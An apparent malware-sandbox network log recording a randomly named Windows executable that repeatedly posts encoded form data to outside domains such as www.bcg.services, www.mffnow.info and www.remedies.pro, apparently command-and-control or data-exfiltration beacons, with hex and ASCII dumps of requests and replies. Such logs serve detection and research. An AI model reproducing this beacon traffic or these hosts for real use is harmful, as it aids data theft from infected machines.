                                                                        Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                        Nov 27, 2024 20:49:22.991743088 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                        Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNGI4NGM1ZGQtOGM4Yy00NjM0LTlmZjgtZmE5MGUzMzEyZDEwIiwicGFnZV90aW1lIjoxNzMyNzM2OT


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        23192.168.2.849889199.59.243.227805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:24.533813000 CET1756OUTPOST /xz45/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1241
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.bcg.services
                                                                        Origin: http://www.bcg.services
                                                                        Referer: http://www.bcg.services/xz45/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 32 45 4e 59 64 38 53 46 76 55 58 5a 39 7a 47 70 72 51 64 43 48 72 74 43 68 6b 42 75 48 42 57 37 73 30 61 4a 54 62 66 41 43 56 4b 41 66 67 4e 55 78 42 65 46 49 31 62 64 46 6d 4f 59 77 46 77 6f 47 59 36 4b 6a 74 31 79 31 52 72 33 78 72 6d 6f 69 6a 63 33 66 62 48 48 59 48 63 30 43 64 69 6c 6d 31 41 6d 34 67 2b 2b 66 77 31 55 4a 31 30 6a 4f 4f 72 74 30 71 6c 34 4d 6a 52 4d 49 35 4c 5a 35 66 79 6f 70 47 47 6d 36 58 57 64 37 63 79 2f 32 66 37 49 37 6a 35 47 53 61 37 4d 64 4e 45 46 4c 39 4d 45 67 61 42 6c 76 6f 58 6d 34 4b 30 71 57 55 36 72 72 5a 65 36 5a 66 4e 73 71 6d 77 6c 36 66 7a 4d 4b 35 51 67 77 63 36 37 39 2b 33 53 48 68 51 4a 41 39 47 77 55 66 77 42 54 79 66 79 4a 73 7a 45 61 34 67 6b 70 73 34 6d 7a 36 69 77 46 4a 49 6d 46 4c 36 42 2b 72 2f 6b 42 30 31 67 6f 32 4d 66 33 30 70 79 33 4d 66 54 54 66 68 6e 48 49 65 33 58 42 39 48 70 52 68 6d 31 79 64 7a 32 59 78 41 66 7a 56 6d 70 34 6c 41 6d 51 67 76 64 4a 39 64 6c 61 65 71 51 4f 77 68 37 62 75 32 47 31 75 35 5a 35 53 32 76 6b 4a 41 53 [TRUNCATED]
                                                                        Data Ascii: nlF0=2ENYd8SFvUXZ9zGprQdCHrtChkBuHBW7s0aJTbfACVKAfgNUxBeFI1bdFmOYwFwoGY6Kjt1y1Rr3xrmoijc3fbHHYHc0Cdilm1Am4g++fw1UJ10jOOrt0ql4MjRMI5LZ5fyopGGm6XWd7cy/2f7I7j5GSa7MdNEFL9MEgaBlvoXm4K0qWU6rrZe6ZfNsqmwl6fzMK5Qgwc679+3SHhQJA9GwUfwBTyfyJszEa4gkps4mz6iwFJImFL6B+r/kB01go2Mf30py3MfTTfhnHIe3XB9HpRhm1ydz2YxAfzVmp4lAmQgvdJ9dlaeqQOwh7bu2G1u5Z5S2vkJASwTaNGiJmGavUD3c2M15O54/JHvDgGQA3XR83x/kXse+jkSwNYavZxSpUUmsH1z0gyv4kyqR7abwonZw20ecaaVsO4MZKMK4xKfaam+FXtAEyS6tNofrfiGjfi969/v0Q9dMqXovx0KucmxJGBdRdsTbYsFc0Eng5S0iBeRAGQj1b+BpqV5zWzCPoUgDZS31yccdwpEHrqoootUV8QP+4dYEAlcJNkbkC81qSmdprdbMwc+8096vb82HmhETR1v241FF0nY4VnSHTdEGXgU6Eo0cDWwfQroc443KpXe9vhxoJWyXy74uKeySDz3MnuhdhWOvQ49xJQbL98yUPKyT9oG31U1vdsBefbBpvj8gHI9um9clbvZX1yx7aNEYGwoZkoir0mnI6n/wYlqn7EXYyZo/xyc4ETcikEO0zaZVuEQ9rrk39rwvPkOMeRrKsePiW0/oAuk++hSxvuy69zSn4HwcOiSSLwwcuihuFHKxA3qbbElos4AhP9rLOmWsEpi3uQw3jQ94PbndQoPGMZwGYXYMbwOcVCVtisD4VQi/t4pU8Oysll5/qitFsNf8/tAnByIYC4jPYiuCzhy9GDYqyVw+R7FGoYqn/pVRnUVgAVoaAx1y9qrLporbw4vPKEySNt6VPWDgdeURqeCIddu2qnZFH+w6GgUK0Vz [TRUNCATED]
                                                                        Nov 27, 2024 20:49:25.673831940 CET1236INHTTP/1.1 200 OK
                                                                        date: Wed, 27 Nov 2024 19:49:25 GMT
                                                                        content-type: text/html; charset=utf-8
                                                                        content-length: 1114
                                                                        x-request-id: 2e4aa933-1cb8-4cbf-b69e-751891526b31
                                                                        cache-control: no-store, max-age=0
                                                                        accept-ch: sec-ch-prefers-color-scheme
                                                                        critical-ch: sec-ch-prefers-color-scheme
                                                                        vary: sec-ch-prefers-color-scheme
                                                                        x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==
                                                                        set-cookie: parking_session=2e4aa933-1cb8-4cbf-b69e-751891526b31; expires=Wed, 27 Nov 2024 20:04:25 GMT; path=/
                                                                        connection: close
                                                                        Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 43 75 39 64 4b 6d 43 48 51 4c 53 55 45 61 6a 44 65 53 30 4e 74 42 33 6f 2f 63 79 53 30 4d 61 4d 70 36 48 73 4a 6f 75 39 2b 2f 6b 4d 41 6c 50 6d 4b 42 32 4d 49 36 45 4b 30 30 4b 4d 74 62 62 78 5a 52 34 57 39 47 36 2b 61 2b 67 61 63 4b 36 56 54 71 56 65 68 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                        Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_Cu9dKmCHQLSUEajDeS0NtB3o/cyS0MaMp6HsJou9+/kMAlPmKB2MI6EK00KMtbbxZR4W9G6+a+gacK6VTqVehA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                        Nov 27, 2024 20:49:25.673867941 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                        Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMmU0YWE5MzMtMWNiOC00Y2JmLWI2OWUtNzUxODkxNTI2YjMxIiwicGFnZV90aW1lIjoxNzMyNzM2OT


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        24192.168.2.849895199.59.243.227805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:27.202955961 CET467OUTGET /xz45/?nlF0=7Gl4eI2ymk7esmTLtSpxAatYul5JA3Gonx7jFa75SCeEQi1G+RGQY0LgPCeJyXg2C6GorcwS5UbL8Y/pt3QrWu3nWi0/CYKSwV459WmqVx92KX0QeYmg4t8EbgtOWorclQ==&UDg=ZFTXPHspLZsHZTR HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.bcg.services
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:49:28.380670071 CET1236INHTTP/1.1 200 OK
                                                                        date: Wed, 27 Nov 2024 19:49:28 GMT
                                                                        content-type: text/html; charset=utf-8
                                                                        content-length: 1502
                                                                        x-request-id: 21360b98-480d-4681-b4d2-505c74f0439d
                                                                        cache-control: no-store, max-age=0
                                                                        accept-ch: sec-ch-prefers-color-scheme
                                                                        critical-ch: sec-ch-prefers-color-scheme
                                                                        vary: sec-ch-prefers-color-scheme
                                                                        x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_jkaQFL0PJN6JUR8R4y+p1XgWMw3yVhUb4wxf3+YvRCXQh5OPNcIGnkm0lshGJYA9+e9VuCFbz4aWeUE4FoAUFQ==
                                                                        set-cookie: parking_session=21360b98-480d-4681-b4d2-505c74f0439d; expires=Wed, 27 Nov 2024 20:04:28 GMT; path=/
                                                                        connection: close
                                                                        Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6a 6b 61 51 46 4c 30 50 4a 4e 36 4a 55 52 38 52 34 79 2b 70 31 58 67 57 4d 77 33 79 56 68 55 62 34 77 78 66 33 2b 59 76 52 43 58 51 68 35 4f 50 4e 63 49 47 6e 6b 6d 30 6c 73 68 47 4a 59 41 39 2b 65 39 56 75 43 46 62 7a 34 61 57 65 55 45 34 46 6f 41 55 46 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                        Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_jkaQFL0PJN6JUR8R4y+p1XgWMw3yVhUb4wxf3+YvRCXQh5OPNcIGnkm0lshGJYA9+e9VuCFbz4aWeUE4FoAUFQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                        Nov 27, 2024 20:49:28.380812883 CET955INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                        Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjEzNjBiOTgtNDgwZC00NjgxLWI0ZDItNTA1Yzc0ZjA0MzlkIiwicGFnZV90aW1lIjoxNzMyNzM2OT


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        25192.168.2.849909104.21.91.191805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:34.029903889 CET716OUTPOST /1a34/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 205
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.mffnow.info
                                                                        Origin: http://www.mffnow.info
                                                                        Referer: http://www.mffnow.info/1a34/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 5a 6a 73 53 6d 6d 35 5a 46 51 33 42 65 52 6a 61 43 39 31 6d 4e 74 49 4c 7a 55 69 62 4a 30 78 44 68 34 30 35 75 46 31 70 78 4b 63 53 48 4c 35 46 49 4f 58 2b 38 63 67 2b 6c 33 39 63 75 78 65 79 4b 2f 6a 32 70 4b 58 42 30 56 64 4f 37 68 7a 51 41 2b 6e 42 6a 78 62 44 58 36 39 4c 75 48 74 42 4c 59 4a 52 39 39 51 67 44 57 63 49 71 51 62 73 54 5a 6a 53 74 55 74 6b 61 4f 38 42 45 47 35 75 78 74 50 6e 36 71 2b 6a 65 35 2b 52 69 33 64 71 36 64 39 31 65 64 68 74 58 72 48 56 6f 39 5a 6e 42 6d 6d 43 46 6b 77 30 54 5a 41 54 58 35 41 58 33 32 41 4d 46 76 46 2b 6b 74 58 79 75 7a 33 2b 7a 4f 52 43 48 4a 6f 3d
                                                                        Data Ascii: nlF0=ZjsSmm5ZFQ3BeRjaC91mNtILzUibJ0xDh405uF1pxKcSHL5FIOX+8cg+l39cuxeyK/j2pKXB0VdO7hzQA+nBjxbDX69LuHtBLYJR99QgDWcIqQbsTZjStUtkaO8BEG5uxtPn6q+je5+Ri3dq6d91edhtXrHVo9ZnBmmCFkw0TZATX5AX32AMFvF+ktXyuz3+zORCHJo=


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        26192.168.2.849916104.21.91.191805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:36.683995008 CET736OUTPOST /1a34/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.mffnow.info
                                                                        Origin: http://www.mffnow.info
                                                                        Referer: http://www.mffnow.info/1a34/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 5a 6a 73 53 6d 6d 35 5a 46 51 33 42 50 41 54 61 42 65 74 6d 4b 4e 49 45 32 55 69 62 41 55 78 50 68 34 34 35 75 41 46 35 78 34 6f 53 48 72 4a 46 4c 4e 50 2b 2f 63 67 2b 74 58 38 59 7a 42 65 74 4b 2f 76 45 70 4b 62 42 30 56 35 4f 37 67 44 51 41 74 2f 47 69 68 62 42 61 61 39 46 78 33 74 42 4c 59 4a 52 39 39 73 4b 44 57 45 49 71 6c 4c 73 52 39 33 54 78 6b 74 6c 4b 2b 38 42 4f 57 35 71 78 74 50 4a 36 72 69 61 65 37 47 52 69 79 35 71 37 4d 39 32 51 64 67 6b 4b 37 47 56 6e 59 6f 54 62 56 65 61 44 55 68 56 64 37 45 46 62 76 78 39 74 55 49 4b 47 76 74 56 6b 75 2f 45 72 45 71 57 70 74 42 79 5a 65 2f 37 56 2f 44 67 4e 5a 61 4d 4d 35 57 78 4c 58 76 78 38 73 61 59
                                                                        Data Ascii: nlF0=ZjsSmm5ZFQ3BPATaBetmKNIE2UibAUxPh445uAF5x4oSHrJFLNP+/cg+tX8YzBetK/vEpKbB0V5O7gDQAt/GihbBaa9Fx3tBLYJR99sKDWEIqlLsR93TxktlK+8BOW5qxtPJ6riae7GRiy5q7M92QdgkK7GVnYoTbVeaDUhVd7EFbvx9tUIKGvtVku/ErEqWptByZe/7V/DgNZaMM5WxLXvx8saY


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        27192.168.2.849922104.21.91.191805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:39.364450932 CET1753OUTPOST /1a34/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1241
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.mffnow.info
                                                                        Origin: http://www.mffnow.info
                                                                        Referer: http://www.mffnow.info/1a34/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 5a 6a 73 53 6d 6d 35 5a 46 51 33 42 50 41 54 61 42 65 74 6d 4b 4e 49 45 32 55 69 62 41 55 78 50 68 34 34 35 75 41 46 35 78 34 77 53 45 5a 42 46 4c 74 7a 2b 2b 63 67 2b 6a 33 38 56 7a 42 65 67 4b 2f 6e 36 70 4b 48 33 30 58 78 4f 37 43 4c 51 52 73 2f 47 6f 68 62 42 54 36 39 49 75 48 73 46 4c 59 5a 56 39 37 4d 4b 44 57 45 49 71 6b 37 73 57 70 6a 54 69 30 74 6b 61 4f 38 7a 45 47 35 53 78 74 6e 2f 36 6f 4f 4b 65 4b 6d 52 69 53 70 71 35 2b 46 32 63 64 67 6d 4c 37 47 37 6e 59 73 4d 62 52 2b 73 44 58 38 41 64 35 45 46 62 71 45 78 36 67 42 53 61 38 4d 71 72 70 54 55 74 47 36 46 78 37 56 66 57 38 2f 67 61 70 54 36 45 76 53 67 48 72 44 54 56 57 7a 38 36 4a 72 35 38 31 68 33 56 71 50 51 4b 49 6d 58 35 41 56 65 76 4d 66 54 2f 35 2f 39 73 63 67 77 47 4d 56 37 73 70 52 44 76 59 4b 76 43 35 77 4f 53 53 38 69 43 59 4f 75 6a 68 5a 72 67 73 36 2f 75 76 62 6b 32 72 75 4d 59 58 42 4a 54 75 59 37 38 6a 37 55 52 46 39 6e 75 5a 4a 57 2b 61 34 66 76 56 30 33 47 69 73 44 4b 66 50 5a 7a 58 68 72 43 5a 4b 2b 55 [TRUNCATED]
                                                                        Data Ascii: nlF0=ZjsSmm5ZFQ3BPATaBetmKNIE2UibAUxPh445uAF5x4wSEZBFLtz++cg+j38VzBegK/n6pKH30XxO7CLQRs/GohbBT69IuHsFLYZV97MKDWEIqk7sWpjTi0tkaO8zEG5Sxtn/6oOKeKmRiSpq5+F2cdgmL7G7nYsMbR+sDX8Ad5EFbqEx6gBSa8MqrpTUtG6Fx7VfW8/gapT6EvSgHrDTVWz86Jr581h3VqPQKImX5AVevMfT/5/9scgwGMV7spRDvYKvC5wOSS8iCYOujhZrgs6/uvbk2ruMYXBJTuY78j7URF9nuZJW+a4fvV03GisDKfPZzXhrCZK+UjdUjIYHN5QZ2ERe2/KmM2SpmMkK5KFDqtXch+UT4i4nNcWxeYKf+fvdoPaa/MguOpmLyCWwsti/OaFOUqXTOEOehiudtSzR9Zb7z36KmR5ivjrFARy3GiXNxqSZQrwx74jXVHIhqfATWmKMEG2IL8wYXr5fC5SeZBdJQKkkNzDJfVDK+hMqKd6ew/wux37G6f8+snZYd+/hcn2PPEhys9nk6Mow19a6yZKKdKq53kb6bi2vDZKBByy7FCHEBzk290Y6UlNHIvylnL/NV8MUNx//Uhc5NJT8FTbyNhjF8rSeKD35czDJgn0HDD3XR/xz6OAgAeGk6PJTC49jST0EeV/F5DZDcRz+xe9kF+f9Pz6Gg021ucAhg2yWZiiiKFSUUaT/5peVbjqJf7geV2fhiLBgyiIyS4yNhX+ChURBMLbMcgCgibIxjXIGDdMppBQRPJw8f4iTkI22qeM8o0aYRLAxYJWhb+oHYoiKb1t0sjUW4/qde3KyVDAEsrEbImyWMp6YYWUSEqgicxgMFSDvTammKdlPlOxPlC2X2IhbjKZ5l+a5gxFP1+qBNkxZhdcVqihknKhwYhSlCyyLhoVQuTsSZO3QOcADXL+DFpp8KzZ+nQio3BU9Ah8ZNVMcZKfOj8JKTux0UiDd+FIQpavIZ1q0DuEJ3VHkcYf [TRUNCATED]


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        28192.168.2.849928104.21.91.191805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:42.029921055 CET466OUTGET /1a34/?nlF0=UhEylRAMCxjlfkeAI9EIBPkQ3EqBOUgirJRYrSpl2vEmDrtdD83fz84LtzcmrW6WKOP6wZH/8TlB0y+yX7Xcshjia5pLyzp1NpNl0bwbEUMihG3GZP+RhEofb9cDL2kmww==&UDg=ZFTXPHspLZsHZTR HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.mffnow.info
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:49:44.327820063 CET750INHTTP/1.1 567 unknown
                                                                        Date: Wed, 27 Nov 2024 19:49:44 GMT
                                                                        Content-Length: 17
                                                                        Connection: close
                                                                        cf-cache-status: DYNAMIC
                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gAtHxjCzIjf4Hp7yuJ5kgK0XUMcF%2BEn1fPBpQ7PGSwqLAgRbtXwJYi3dmMB0PFgcNRvo3tXksmYfaPxhaKkbTADKd6XqRKChRJGAwRXI1O8J%2BIMtvYe7WdltDRrI%2BEYqoGI%3D"}],"group":"cf-nel","max_age":604800}
                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                        Server: cloudflare
                                                                        CF-RAY: 8e94a49f6e767c9c-EWR
                                                                        alt-svc: h3=":443"; ma=86400
                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1827&min_rtt=1827&rtt_var=913&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=466&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                        Data Raw: 52 65 71 75 65 73 74 20 74 6f 6f 20 6c 61 72 67 65
                                                                        Data Ascii: Request too large


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        29192.168.2.84994513.248.169.48805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:50.229971886 CET719OUTPOST /hrap/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 205
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.remedies.pro
                                                                        Origin: http://www.remedies.pro
                                                                        Referer: http://www.remedies.pro/hrap/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 7a 79 33 50 58 4b 44 37 61 6d 31 70 45 65 4e 4e 6a 42 47 6f 32 70 61 68 69 65 67 75 48 56 34 66 38 78 35 63 53 72 53 56 68 39 34 43 48 4d 2f 71 6c 48 67 42 46 69 73 6f 57 61 4c 57 53 45 4c 56 6e 53 70 56 77 77 78 47 4d 36 73 79 4b 79 78 6c 69 56 2f 2b 6a 74 4c 35 78 43 54 4b 4d 76 64 4e 38 52 45 2b 52 46 5a 2f 69 51 43 33 42 33 56 54 36 53 70 44 57 61 53 32 39 54 7a 48 78 6d 6b 57 30 52 54 4b 46 71 39 4c 65 65 49 53 6e 6c 77 43 75 70 69 72 6e 4c 50 67 48 34 72 61 73 72 53 51 68 31 79 51 65 59 65 56 5a 63 35 51 34 56 6b 58 72 75 6e 33 79 63 30 70 78 76 69 71 30 6e 48 7a 53 4b 2f 55 30 44 6b 3d
